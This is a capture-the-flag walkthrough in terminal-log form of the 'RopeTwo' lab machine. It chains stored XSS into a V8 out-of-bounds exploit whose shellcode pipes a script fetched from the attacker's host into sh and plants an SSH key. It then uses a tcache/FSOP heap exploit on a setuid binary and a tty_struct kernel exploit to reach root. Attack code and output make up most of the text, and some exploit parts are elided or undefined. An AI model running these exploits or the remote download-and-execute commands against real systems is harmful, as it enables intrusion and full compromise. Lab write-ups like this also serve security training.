ares@kali:~/box/ropetwo$ nmap -sV -sC -p- -T4 -oN ropetwo.nmap 10.129.2.23

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.9p1 Ubuntu
5000/tcp open  http     gitlab-workhorse · 502 (initializing)
8000/tcp open  http     Werkzeug/0.14.1 Python/3.7.3   # Flask /contact
8060/tcp open  http     nginx 1.14.2
9094/tcp open  unknown                              # V8 oracle

ares@kali:~/box/ropetwo$ curl -s http://ropetwo.htb:5000/root/v8/commit/7410f6809dd33e317f11f39ceaebaba9a88ea970.patch | head -60

From 7410f6809... Mon, 16 Jan 2021 00:00:00 +0000
Subject: [PATCH] add GetLastElement and SetLastElement

diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
@@ +2110,16 @@
+BUILTIN(ArrayPrototypeGetLastElement) {
+  HandleScope scope(isolate);
+  Handle<Object> receiver_obj = args.receiver();
+  Handle<JSArray> array = Handle<JSArray>::cast(receiver_obj);
+  uint32_t len = static_cast<uint32_t>(array->length()->Number());
+  Handle<Object> element = JSReceiver::GetElement(isolate, array, len).ToHandleChecked();
+  return *element;     # bug: len em vez de len-1 → OOB read no índice [length]
+}

+BUILTIN(ArrayPrototypeSetLastElement) {
+  HandleScope scope(isolate);
+  Handle<JSArray> array = Handle<JSArray>::cast(args.receiver());
+  uint32_t len = static_cast<uint32_t>(array->length()->Number());
+  Handle<Object> value = args.atOrUndefined(isolate, 1);
+  JSObject::AddDataElement(array, len, value, NONE);
+  # bug: len em vez de len-1 → OOB write no índice [length]
+  return *array;
+}

ares@kali:~/box/ropetwo$ feroxbuster -u http://ropetwo.htb:8000 -w common.txt
/contact          200
/static           301

ares@kali:~/box/ropetwo$ curl http://ropetwo.htb:8000/contact -X POST \
                -d 'name=test&email=t@t&content=<script src="http://10.10.14.86/probe.js"></script>'

ares@kali:~/box/ropetwo$ # servidor local recebe request do admin-bot:
ares@kali:~/box/ropetwo$ python3 -m http.server 80 &
10.129.2.23 - - [22/May/2026 23:35:42] "GET /probe.js HTTP/1.1" 200 -
User-Agent: Mozilla/5.0 ... HeadlessChrome/85.0.4157.0 Safari/537.36
# <-- bot tá usando o Chromium custom. game on.

// reusable conversion helpers (V8 64-bit ↔ doubles)
const conv = new ArrayBuffer(8);
const conv_u64 = new BigUint64Array(conv);
const conv_f64 = new Float64Array(conv);
function i2f(i){ conv_u64[0] = i; return conv_f64[0]; }
function f2i(f){ conv_f64[0] = f; return conv_u64[0]; }

// allocate twin arrays — heap places them adjacent
let arr_obj = [{}, {}, {}, {}];                  // HOLEY_ELEMENTS map
let arr_dbl = [1.1, 2.2, 3.3, 4.4];        // PACKED_DOUBLE_ELEMENTS map

// step 1: read the float-array Map via OOB read at index [length]
let dbl_map = arr_obj.GetLastElement();           // returns Float64Array map pointer

// step 2: swap arr_obj's map for dbl_map → reading objects as doubles
arr_obj.SetLastElement(dbl_map);                  // OOB write at [length]

// addrof: place victim, read it back as double, convert to int
function addrof(o){ arr_obj[0] = o; return f2i(arr_obj[0]); }

// fakeobj: write a fake pointer as double, read it back as object
function fakeobj(addr){ arr_obj[0] = i2f(addr); return arr_obj[0]; }

// sanity check
let victim = {a:1,b:2};
let addr = addrof(victim);
print("victim @ 0x" + addr.toString(16));

// wasm: tiny "i32.const 42; return" function
const wasm_code = new Uint8Array([
  0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,        // magic + version
  0x01,0x07,0x01,0x60,0x02,0x7f,0x7f,0x01,0x7f, // type
  0x03,0x02,0x01,0x00,                                // function
  0x07,0x05,0x01,0x01,0x66,0x00,0x00,                // export "f"
  0x0a,0x06,0x01,0x04,0x00,0x20,0x00,0x0b          // code: local.get 0; end
]);
const wasm_mod = new WebAssembly.Module(wasm_code);
const wasm_inst = new WebAssembly.Instance(wasm_mod);
const wasm_f = wasm_inst.exports.f;

// step 1: addrof the wasm instance, arbread instance+0x68 to get RWX page
let inst_addr = addrof(wasm_inst);
let rwx_page  = arbread64(inst_addr + 0x68);

// step 2: shellcode = "wget -qO- http://10.10.14.86/s | sh"
const shellcode = [
  0x48,0x31,0xff,        // xor rdi,rdi
  ...,                       // execve("/bin/sh", ["sh","-c","wget|sh"], NULL)
];

// step 3: write shellcode byte-by-byte to RWX page
for (let i = 0; i < shellcode.length; i++){
  arbwrite8(rwx_page + i, shellcode[i]);
}

// step 4: pull the trigger
wasm_f();   // shellcode runs in chromeuser context

ares@kali:~/box/ropetwo$ # servir exploit.js + script s + ssh pubkey
ares@kali:~/box/ropetwo$ cat > s <<'EOF'
mkdir -p ~/.ssh
echo "$(cat /tmp/pubkey)" > ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
EOF
ares@kali:~/box/ropetwo$ python3 -m http.server 80 &

ares@kali:~/box/ropetwo$ # dispara via /contact
ares@kali:~/box/ropetwo$ curl -X POST http://ropetwo.htb:8000/contact \
                -d 'name=t&email=t@t&content=<script src="http://10.10.14.86/exploit.js"></script>'

10.129.2.23 - - "GET /exploit.js HTTP/1.1" 200
10.129.2.23 - - "GET /s HTTP/1.1" 200             # shellcode rodou

ares@kali:~/box/ropetwo$ ssh -i id_ed25519 chromeuser@ropetwo.htb
chromeuser@rope2:~$ id
uid=1001(chromeuser) gid=1001(chromeuser) groups=1001(chromeuser)

chromeuser@rope2:~$ find / -perm -4000 2>/dev/null
/usr/bin/passwd
/usr/bin/su
/usr/bin/sudo
/usr/bin/rshell      # <-- não-standard

chromeuser@rope2:~$ ls -la /usr/bin/rshell
-rwsr-xr-x 1 r4j r4j 14312 May 12 2020 /usr/bin/rshell

chromeuser@rope2:~$ file /usr/bin/rshell
ELF 64-bit LSB pie executable, x86-64, dynamically linked, stripped

chromeuser@rope2:~$ ldd /usr/bin/rshell | grep libc
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f...)

chromeuser@rope2:~$ /lib/x86_64-linux-gnu/libc.so.6 | head -1
GNU C Library (Ubuntu GLIBC 2.29-0ubuntu2) stable release version 2.29.

# Esquema do exploit (pwntools script real):

# step 1 — leak heap addr via UAF show
#   add(0, 0x60, "AAAA")        # alloca chunk 0
#   add(1, 0x60, "BBBB")        # alloca chunk 1 (vizinho)
#   edit(0, 0, "")              # realloc(ptr,0) → free, dangling pointer
#   show(0)                     # imprime tcache fd → heap addr leak

# step 2 — leak libc base via FSOP on stdout
#   tcache poison: edit(1, 0, "") + edit(0, 8, &_IO_2_1_stdout_-0x40)
#   add(2, 0x60, ...)           # consumes poisoned, returns real chunk
#   add(3, 0x60, payload)       # writes fake _IO_FILE header (vtable bypass via _IO_str_jumps)
#   overflow stdout's _IO_write_base / _ptr → next printf dumps libc bytes

# step 3 — overwrite __free_hook with system
#   tcache poison again with &__free_hook as fake fd
#   add(...) returns __free_hook addr
#   add(N, 0x60, p64(libc.sym['system']))   # writes system into __free_hook

# step 4 — trigger
#   add(M, 0x10, "/bin/sh\x00")
#   delete(M)   # free("/bin/sh") → system("/bin/sh") → shell as r4j

chromeuser@rope2:~$ python3 rshell_pwn.py
[+] heap leak: 0x55c4d8b7c000
[+] libc base: 0x7f0e3a200000
[+] __free_hook addr: 0x7f0e3a5e8e48
[+] system addr: 0x7f0e3a24c290
[+] overwriting __free_hook with system...
[+] triggering free("/bin/sh")...
$ id
uid=1000(r4j) gid=1000(r4j) groups=1000(r4j),1001(chromeuser)

$ cat /home/r4j/user.txt
d4ab...redacted...c92a

$ cat /home/r4j/.ssh/id_rsa > /tmp/r4j_key
$ chmod 600 /tmp/r4j_key; exit

r4j@rope2:~$ ls -la /dev/ralloc
crw-rw-rw- 1 root root 246, 0 May 23 ... /dev/ralloc

r4j@rope2:~$ lsmod | grep ralloc
ralloc                 16384  0

r4j@rope2:~$ uname -r
5.0.0-32-generic     # Ubuntu 19.04 — SMEP/SMAP ativos, KASLR ativo

r4j@rep2:~$ cat /proc/cpuinfo | grep -E 'smep|smap' | head -1
flags : ... smep smap ...
# <-- SMEP/SMAP ativos → não dá pra fazer ret2usr clássico

r4j@rope2:~$ gcc -static -o ralloc_pwn ralloc_pwn.c
r4j@rope2:~$ ./ralloc_pwn
[+] /dev/ralloc opened
[+] spraying 256 tty_struct via /dev/ptmx
[+] allocating ralloc chunks adjacent to tty pool
[+] OOB read at chunk+0x20: ptm_unix98_ops = 0xffffffff819a7e80
[+] kernel base = 0xffffffff81000000 (KASLR slide: 0x800000)
[+] gadgets located (xchg eax,esp · pop rdi · ret · commit_creds · init_cred)
[+] writing fake tty_operations to userspace buffer
[+] writing fake ops pointer into corrupted tty_struct via UAF
[+] firing ioctl on tty_fd...
[+] returned to userspace · uid=0(root) gid=0(root)

root@rope2:/home/r4j# cat /root/root.txt
9e8c...redacted...4a51